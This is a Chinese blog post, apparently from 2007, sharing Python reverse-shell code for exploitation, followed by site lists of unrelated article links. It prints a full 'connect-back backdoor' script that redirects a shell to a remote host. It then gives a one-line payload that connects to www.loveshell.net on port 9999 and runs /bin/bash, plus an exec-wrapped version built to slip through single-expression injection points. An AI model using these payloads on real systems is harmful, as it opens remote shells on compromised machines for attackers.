在漏洞利用Python代码真的很爽


Posted in Python onAugust 26, 2007

不知道怎么忽然想看这个,呵呵
小我的python的反shell的代码
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006

import sys
import os
import socket
shell = "/bin/sh"

def usage(programname):
  print "Python Connect-back Backdoor"
  print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
  print "Date: July 15th 2006\n"
  print "Usage: %s <conn_back_host> <port>\n" % programname

def main():
  if len(sys.argv) != 3: 
    usage(sys.argv[0])
    sys.exit(1)

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try: 
    s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
    print "[+] Connect ok." 
  except: 
    print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2]) 
    sys.exit(2)
  s.send("-------------------- Python Connect-back Backdoor --------------------\n")
  s.send("----------------------------- By wofeiwo -----------------------------\n")
  os.dup2(s.fileno(), 0)
  os.dup2(s.fileno(), 1)
  os.dup2(s.fileno(), 2)
  global shell
  os.system(shell)
  print "See U!"
  s.close()

if __name__ == "__main__": main()

用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是

import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");

如何?很短了吧?
不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';

注意是\\r\\n哦,即使在''里好象\r\n一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢?
翻了下手册
exec语句用来执行储存在字符串或文件中的Python语句。例如,我们可以在运行时生成一个包含Python代码的字符串,然后使用exec语句执行这些语句

eval语句用来计算存储在字符串中的有效Python表达式

呵呵,这里用eval好象会出错.
YY一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......

Python 相关文章推荐
Python插件virtualenv搭建虚拟环境
Nov 20 Python
Python实现找出数组中第2大数字的方法示例
Mar 26 Python
终端命令查看TensorFlow版本号及路径的方法
Jun 13 Python
Python unittest单元测试框架总结
Sep 08 Python
Python计算库numpy进行方差/标准方差/样本标准方差/协方差的计算
Dec 28 Python
python实现批量注册网站用户的示例
Feb 22 Python
wxPython之wx.DC绘制形状
Nov 19 Python
python实现录屏功能(亲测好用)
Mar 02 Python
解决python调用自己文件函数/执行函数找不到包问题
Jun 01 Python
Python paramiko使用方法代码汇总
Nov 20 Python
利用python+ffmpeg合并B站视频及格式转换的实例代码
Nov 24 Python
Python tkinter之Bind(绑定事件)的使用示例
Feb 05 Python
python编程-将Python程序转化为可执行程序[整理]
Apr 09 #Python
python的几种开发工具介绍
Mar 07 #Python
王纯业的Python学习笔记 下载
Feb 10 #Python
一篇不错的Python入门教程
Feb 08 #Python
Python学习资料
Feb 08 #Python
Python完全新手教程
Feb 08 #Python
简明 Python 基础学习教程
Feb 08 #Python
You might like
PHP+ACCESS 文章管理程序代码
2010/06/21 PHP
php之readdir函数用法实例
2014/11/13 PHP
js Map List 遍历使用示例
2013/07/10 Javascript
Javascript排序算法之计数排序的实例
2014/04/05 Javascript
JavaScript中的alert()函数使用技巧详解
2014/12/29 Javascript
JavaScript数据结构和算法之图和图算法
2015/02/11 Javascript
JavaScript代码实现左右上下自动晃动自动移动
2016/04/08 Javascript
Js 获取、判断浏览器版本信息的简单方法
2016/08/08 Javascript
JS实现直接运行html代码的方法
2017/03/13 Javascript
详解利用jsx写vue组件的方法示例
2017/07/17 Javascript
Vue.js实现列表清单的操作方法
2017/11/15 Javascript
Vue中使用vee-validate表单验证的方法
2018/05/09 Javascript
Nuxt.js实现校验访问浏览器类型的中间件
2018/08/24 Javascript
30分钟精通React今年最劲爆的新特性——React Hooks
2019/03/11 Javascript
webpack中如何加载静态文件的方法步骤
2019/05/18 Javascript
vue3.0 搭建项目总结(详细步骤)
2019/05/20 Javascript
微信小程序之左右布局的实现代码
2019/12/13 Javascript
详解Vue.js3.0 组件是如何渲染为DOM的
2020/11/10 Javascript
python爬虫基本知识
2018/03/05 Python
Python使用cx_Oracle模块操作Oracle数据库详解
2018/05/07 Python
Python判断以什么结尾以什么开头的实例
2018/10/27 Python
python实现感知器算法(批处理)
2019/01/18 Python
详解在Python中使用Torchmoji将文本转换为表情符号
2020/07/27 Python
python修改微信和支付宝步数的示例代码
2020/10/12 Python
Flask处理Web表单的实现方法
2021/01/31 Python
使用Python制作一个数据预处理小工具(多种操作一键完成)
2021/02/07 Python
美国著名童装品牌:OshKosh B’gosh
2016/08/05 全球购物
Farfetch阿联酋:奢侈品牌时尚购物平台
2019/07/26 全球购物
线程问题:wait()方法是定义在哪个类里面
2015/07/07 面试题
园林资料员岗位职责
2013/12/30 职场文书
电脑租赁公司创业计划书
2014/01/08 职场文书
领导干部考核评语
2015/01/04 职场文书
财政局个人总结
2015/03/04 职场文书
小学英语教学经验交流材料
2015/11/02 职场文书
2016年班主任培训心得体会
2016/01/07 职场文书
信息技术远程培训心得体会
2016/01/09 职场文书